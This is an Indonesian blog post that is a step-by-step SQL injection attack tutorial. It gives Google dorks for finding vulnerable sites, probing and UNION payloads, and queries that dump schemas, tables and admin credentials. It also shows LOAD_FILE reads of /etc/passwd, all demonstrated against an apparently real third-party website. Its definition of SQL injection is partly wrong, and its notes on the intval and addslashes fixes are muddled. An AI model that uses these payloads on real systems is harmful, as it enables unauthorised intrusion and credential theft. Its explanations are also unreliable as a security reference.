Tentang Teknologi

Ngelmu Iku Kalakone Kanthi Laku

11/05/13

Pengertian SQL Injection Dan Contoh Penerapannya




I. Pengertian
Sedikit penjelasan, apakah yang dimaksud dengan SQL injection..?? SQL injection adalah serangan yang memanfaatkan kelalaian dari website yang mengijinkan user untuk menginputkan data tertentu tanpa melakukan filter terhadap malicious character. Inputan tersebut biasanya di masukan pada box search atau bagian-bagian tertentu dari website yang berinteraksi dengan database SQL dari situs tersebut. Perintah yang dimasukan para attacker biasanya adalah sebuah data yang mengandung link tertentu yang mengarahkan para korban ke website khusus yang digunakan para attacker untuk
mengambil data pribadi korban.
Untuk menghindari link berbahaya dari website yang telah terinfeksi
serangan SQL injection, Anda dapat menggunakan aplikasi tambahan seperti NoScript yang merupakan Add-ons untuk aplikasi web browser Firefox. Meskipun tidak terlalu sempurna, setidaknya Anda dapat mengurangi kemungkinan Anda menjadi korban.

2. bagaimana kita menemukan website yang vuln (kali ini saya menggunakan Google)?

dalam Google terdapat banyak sekali kata kunci untuk menemukan website yang vuln
ada beberapa contoh kata kunci untuk menemukan website yang vuln :

inurl:content.php?id=
inurl:index.php?id=
inurl:main.php?id=
inurl:streampage.php?id=
inurl:base.php?id=
inurl:content.php?id=
inurl:catalog.php?id=
inurl:view.php?id=
inurl:detail.php?id=
inurl:page.php?id=

3. mencari vuln

contoh , Google memberikan kita link :
situs.com/index.php?id=1
memulai pencarian vuln di parameter ID

a. situs.com/index.php?id=1+and+1=1 (true dan true = true)
jika keluar halaman seperti id=1, mungkin itu merupakan vuln website
situs.com/index.php?id=1+and+1=2 (true dan true = false)
jika keluar halaman yang menemukan error, halaman kosong, atau redirect , berarti website itu mengandung vulnerable

b. situs.com/index.php?id=1'+and+'1'='1 (true dan true = true)
situs.com/index.php?id=1'+and+'1'='2 (true dan false = false)

c. situs.com/index.php?id=1"+and+"1"="1 (true dan true = true)
situs.com/index.php?id=1"+and+"1"="2 (true dan false = false)

d. situs.com/index.php?id=1+order+by+1--+
situs.com/index.php?id=1+order+by+1000+--+
jika keluar halaman yang menemukan error, halaman kosong, atau redirect , berarti website itu mengandung vulnerable

e. situs.com/index.php?id=1
situs.com/index.php?id=2-1

f. situs.com/index.php?id=1
situs.com/index.php?id=1*1

g. situs.com/index.php?id=
jika keluar halaman yang menemukan error, halaman kosong, atau redirect , berarti website itu mengandung vulnerable

h. mysite.com/index.php?id=1'
jika keluar halaman yang menemukan error, halaman kosong, atau redirect , berarti website itu mengandung vulnerable

i. mysite.com/index.php?id=1malingsial
"Unknown column '1malingsial' in 'where clause" <--- vuln

j. situs.com/index.php?id=1)/*
k. situs.com/index.php?id=1')--+
l. situs.com/index.php?id=1"/*
m. situs.com/index.php?id=1))—+

website yang vuln tidak hanya pada query ini aja "index.php?id=1:
situs.com/index.php/id/6/
situs.com/index.HTM?id=1
kenapa ditemukan error atau redirect????
okee agar dapat dimengerti, anda harus mempunyai kemampuan dalam pemrograman PHP dan MySql
disini saya akan menulis script PHP yang simple dengan vulnerable

$q = "SELECT id,info FROM mytable WHERE id=".$id;
$r = mysql_query($q);
echo "myid ".$result[0]."
$result = mysql_fetch_row($r); info".$result[1];


ketika saya menulis id=1 and 1 = 1:

$q = "SELECT id,info FROM mytable WHERE id=1 and 1=1";
$r = mysql_query($q); $result = mysql_fetch_row($r); echo "myid ".$result[0]."
info".$result[1];

dapat dilihat tidak ada error karna id = 1.
bila saya menulis id=1 and 1 = 2:

$q = "SELECT id,info FROM mytable WHERE id=1 and 1=2";
$r = mysql_query($q); $result = mysql_fetch_row($r); echo "myid ".$result[0]."
info".$result[1];
akan keluar error karena 1<>2.
jika saya menulis:
$q = "SELECT id,info FROM mytable WHERE id=".intval($id);
$r = mysql_query($q); $result = mysql_fetch_row($r); echo "myid ".$result[0]."
info".$result[1];

atau

$q = "SELECT id,info FROM mytable WHERE id=' ".addslashes($id)." ' "; //without spaces
$r = mysql_query($q); $result = mysql_fetch_row($r); echo "myid ".$result[0]."
info".$result[1];

jika anda mengetikan id=1+and+1=2 maka akan diterima id=1 atau jika anda mengetikan 1' maka akan menerima 1 juga.
itu berarti anda dapat menjebol website tersebut dengan metode SQL-Injection.

4. Mencari nomor kolom. dalam hal ini ada 2 untuk mencari nomor kolom:

a. situs.com/index.php?id=1+and+1=2+UNION+SELECT+1+--+
situs.com/index.php?id=1+and+1=2+UNION+SELECT+1,2+--+
situs.com/index.php?id=1+and+1=2+UNION+SELECT+1,2,3+—+

apakah jumlahnya lebih tinggi sedangkan anda tidak melihat angka..? (mungkin terdapat dalam source code)

b. menggunakan perintah " order by" (digunakan untuk mengurutkan kolom berdasarkan angka).
situs.com/index.php?id=1+order+by+1+--+ (tidak ada error)
situs.com/index.php?id=1+order+by+1000+--+ (bila disini keluar error berarti didalam query tidak mempunyai 1000 kolom)
situs.com/index.php?id=1+order+by+50+--+
...
jika tidak keluar error, contoh, kita anda mengetikan order+by+10, dan keluar error ketika anda mengetikan order+by+11+--+ berarti query tersebut hanya mempunyai 10 kolom.
jika anda menemukan nomor kolom (dalam hal ini 10) maka perintah yang harus diketikan :
situs.com/index.php?id=1+and+1=2+union+select+1,2,3,4,5,6,7,8,9,10+—+
atau
situs.com/index.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10+—+ 1+and+1=2 (true dan true=false) sama dengan id=-1 dan 1+and+1=1 (true dan true=true) sama dengan id=1

5. mengeluarkan database sekarang kita akan mengeluarkan database
dalam hal ini saya sertakan dengan Live Demo:
http://www.ewpa-majs...ECT+1,2,3,4+--+
4 tabel, nomor kolom: 3
tapi sebelum itu, kita harus mencari database, user dan versi MySqlnya.
Berikut contoh pencarian database, user dan versi MySqlnya.
http://www.ewpa-majs...concat(version(),0x3a,database(),0x3a,user()),4+--+
0x3a - adalah konversi hex dari " : ".
anda juga dapat menggunakan syntax tanpa ():

version()=@@version
user()=CURRENT_USER
database : ewpa_majster01
user : ewpa_majster01@127.0.0.1
versi My SQL: 5.0.51a-24+lenny2+spu1-log

kemudian kita harus menemukan semua databasenya:
Berikut Syntax yang digunakan :
group_concat(schema_name) + from + information_schema.schemata
Berikut Contoh Pengeluaran Databasenya:
http://www.ewpa-majs...cat(schema_name),4+from+information_schema.schemata+--+
seperti yang kita liat ada 2 database : information_schema,ewpa_majster01
kemudian kita melanjutkan dengan mengeluarkan nama tabelnya:
berikut syntax yang digunakan :
group_concat(table_name) from information_schema.tables

Berikut contoh pengeluaran nama tabelnya :
http://www.ewpa-majs...ncat(table_name),4+from+information_schema.tables+--+
karna cukup banyak nama tabelnya jadi saya tidak menulisnya disini...
karna kita tidak memerlukan tabel yang dari database "information_schema":
berikut syntax yang digunakan :

group_concat(table_name) from information_schema.tables + where + table_schema<>information_schema

Berikut Contoh pengeluaran nama tabel tanpa tabel dari database "information_schema" :
http://www.ewpa-majs...ncat(table_name),4+from+information_schema.tables+where+table_schema<>0x696e666f726d6174696f6e5f736368656d61+--+
696e666f726d6174696f6e5f736368656d61 = hasil konversi hex dari "information_schema"
tapi anda juga bisa mencoba ini:
http://www.ewpa-majs...ncat(table_name),4+from+information_schema.tables+where+table_schema=database()+--+
kemudian kita harus menemukan kolomnya (dalam contoh saya mengambil tabel ewpa_user):
Berikut Syntax yang digunakan :
group_concat(column_name) + from + information_schema.columns + where + table_name=0xHEXDARINAMATABEL

Berikut contoh mengeluarkan kolom dari tabel :

http://www.ewpa-majs...cat(column_name),4+from+information_schema.columns+where+table_name=0x657770615f75736572+—+
657770615f75736572 = hasil konversi hex dari tabel "ewpa_user"
daftar kolom-kolom : id,login,pass

Kemudian Langkah Selanjutnya adalah mengeluarkan seluruh isi kolom yang ada di dalam tabel
Berikut Syntax yang digunakan :

group_concat(nama kolom,[0x3a],nama kolom...) +from+nama tabel
Berikut contoh mengeluarkan seluruh isi kolom dari tabel :

http://www.ewpa-majs...login,0x3a,pass),4+from+ewpa_user+—+

Hasilnya : ID=1 login=admin pass=646224a5..., ID=2 login=dyalcom pass=098f6b...
jika anda ingin mengeluarkan hanya 1 per 1 isi kolom saja, gunakan syntax : LIMIT [row],columns_count:
Berikut contohnya :

http://www.ewpa-majs...a+LIMIT+0,4+--+
http://www.ewpa-majs...a+LIMIT+1,4+--+
http://www.ewpa-majs...a+LIMIT+2,4+—+

Jika Keluar Error : "Illegal mix of collations" anda harus menggunakan perintah unhex(hex()) (contoh : unhex(hex(database())))
melihat password r00t:
berikut syntax yang digunakan :
situs.com/index.php?id=-1+union+select+1,2,LOAD_FILE('etc/passwd'),4+—+
atau

situs.com/index.php?id=-1+union+select+1,2,LOAD_FILE(0x2f6574632f706173737764),4+—+

contoh : http://www.webnewshu...32f706173737764),3+--+&rcid=2

jika anda mempunya password r00t anda bisa melakukan apapun diserver itu.. (contoh menggunakan program telnet)

6. 2 query jika anda menginject website dengan 2 query anda tidak perlu menemukan nomor kolom lagi, karna akan keluar error :
Berikut Contoh Syntax yang digunakan untuk double query :

situs.com/index.php?id=(SELECT+*+FROM(SELECT+*+FROM(SELECT+NAME_CONST(user(),14)a)+as+t+JOIN+(SE ​LECT+NAME_CONST(user(),14)a)b)c)>v5.0.12
NAME_CONST(nama,value)
Bagaimana Query ini bekerja..?
gabungkan query kiri ke query kanan dengan satu nama kolom.
Sekian Sedikit Penjelasan Saya Tentang "Pengertian SQL Injection & Cara Mengimplementasikannya" ....

Semoga Artikel ini dapat membantu manteman dan tentunya menambah pengetahuan..:)

Tidak ada komentar:

Posting Komentar